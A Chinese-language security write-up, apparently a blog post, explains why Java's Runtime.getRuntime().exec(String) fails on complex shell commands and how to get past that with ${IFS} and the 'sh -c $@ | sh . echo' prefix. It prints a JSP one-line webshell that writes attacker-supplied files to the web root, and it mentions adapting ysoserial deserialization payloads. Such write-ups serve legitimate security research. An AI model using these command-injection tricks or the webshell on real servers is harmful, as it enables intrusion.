零、背景
=======
在 linux 下,Runtime.getRuntime().exec(String cmd) 通常只能执行简单的shell命令,如 touch /tmp/123.txt 之类的。如果要执行复杂的 shell 命令,例如包含>、$ 等 shell 特殊字符的命令就无法执行,导致无法直接写 webshell 。其原因是, Runtime.getRuntime().exec(String cmd) 是直接拉起被执行的进程,并没有 shell 解析的步骤,和我们通常在shell中执行命令的环境并不一致,因此也无法解析 shell 命令中的特殊字符。
比如我们最常用的,写jsp一句话木马的命令:
如果把这一句作为参数,直接传递给 Runtime.getRuntime().exec(String cmd),就不能成功执行。
linux下有两种方法,在 Runtime.getRuntime().exec() 中执行任意 shell 命令,分别是:
使用数组参数的 exec(String[] cmds) 接口,代替字符串参数的 exec(String cmd) 接口。
通过其他方法迂回实现,比如先执行 wget 命令下载文件,再执行 chmod 设置文件权限,最后直接调用执行下载的文件或程序。
不过这两种方式并不完善。第一种方式,在exploit的时候,exec() 的调用是由被攻击系统决定的,这部分通常不能由攻击者控制;第二种方式,需要保证被攻击环境到攻击者可控服务器之间的网络可达,而网络情况并不能由攻击者控制。
有没有办法在 linux 下,Runtime.getRuntime().exec(String cmd) 的环境中,不需要特殊的外界网络交互,就能执行任意shell命令呢?
回到刚才说的第一种方式,字符串参数的 exec(String cmd) 和数组参数的 exec(String[] cmds),为什么表现不一样?我们看下代码就会发现,前者明明就是调用了后者。
区别在于,字符串参数的 exec(String cmd) 会使用分隔符将这个字符串参数split成字符串数组,再将其作为数组参数调用数组参数的 exec(String[] cmds)。这里分隔符的定义就在 StringTokenizer 中,包括空格、\t、\n、\r和\f。
如果我们用前述的写一句话木马的shell命令作为参数来调用字符串参数的exec(String cmd),那么执行到数组参数的 exec(String[] cmds) 的时候,数组中的元素如下:
数组下标
数组元素
0
sh
1
-c
2
echo
3
"<%if(request.getParameter(\"f\")!=null)(new
4
java.io.FileOutputStream(application.getRealPath(\"/\")+request.getParamter(\"f\"))).write(request.getParameter(\"t\").getBytes());%>">/tmp/first.jsp
当调用数组版本的 exec(String[] cmds) 时,数组中的元素如下:
数组下标
数组元素
0
sh
1
-c
2
echo "<%if(request.getParameter(\"f\")!=null)(new java.io.FileOutputStream(application.getRealPath(\"/\")+request.getParamter(\"f\"))).write(request.getParameter(\"t\").getBytes());%>">/tmp/first.jsp
也就是说,exec(String cmd) 中通过分隔符的划分,将字符串参数转换成数组参数。这个过程导致了字符串参数被错误的分割,导致shell命令执行失败。
因此,如果需要通过字符串参数的 Runtime.getRuntime().exec(String cmd) 来调用前述的 shell 命令,我们需要找到一个分隔符。这个分隔符不被 java 识别(也就是不属于空格、\t、\n、\r、\f这几种),但又可以被shell环境识别,并利用它来分隔参数。
这个分隔符就是:${IFS}。
在 linux 的 shell 中,${IFS} 是一个内置的变量,用于标示命令中参数的分隔符。通常他的取值是空格+TAB+换行(0x20 0x09 0x0a)。
所以,我们将前述的命令修改下,将空格替换为 ${IFS}。
执行下看看:
文件写入成功,命令成功执行。
当然,${IFS} 还有一些限制。因为这个变量的值中含有换行,如果命令解析的时候遇到换行认为命令已经结束就直接执行,可能会丢弃后续的参数而导致一些意想不到的错误。比如,上面的例子中,如果我们在重定向符 > 和文件名之间插入一个**${IFS},变成“>${IFS}文件名”**的话,文件就无法写入。
有没有更好的方法,在**Runtime.getRuntime().exec(String cmd)**中执行shell命令,还不受前述限制呢?
有。就是 sh -c $@ | sh . echo 。只需要将要执行的 shell 命令增加这个前缀,就可以任意执行了。
执行一下看看效果。
文件成功写入,命令执行成功。
InfoSec 的研究员 Jackson 提供了一个网页(http://jackson.thuraisamy.me/runtime-exec-payloads.html,点击阅读原文跳转访问),自动将需要执行的shell命令转码成**Runtime.getRuntime().exec(String cmd)** 可以支持的方式。它的原理是将命令 base64 编码,然后解码并执行。转换后的命令中没有空格,是另一种处理的思路。
ysoserial 是生成反序列化攻击 payload 的神器。但是 ysoserial 中很多 payload 都是用字符串参数的Runtime.getRuntime().exec(String cmd) 生成的。如果你觉得不顺手,希望换成数组参数的 Runtime.getRuntime().exec(String[] cmds) ,只需要修改下 Gadgets.java 中 cmd 的拼接语句就好。
当然,你也可以使用本文中提供的技巧,利用字符串参数的 exec(String cmd) 中执行你所希望的 shell 命令。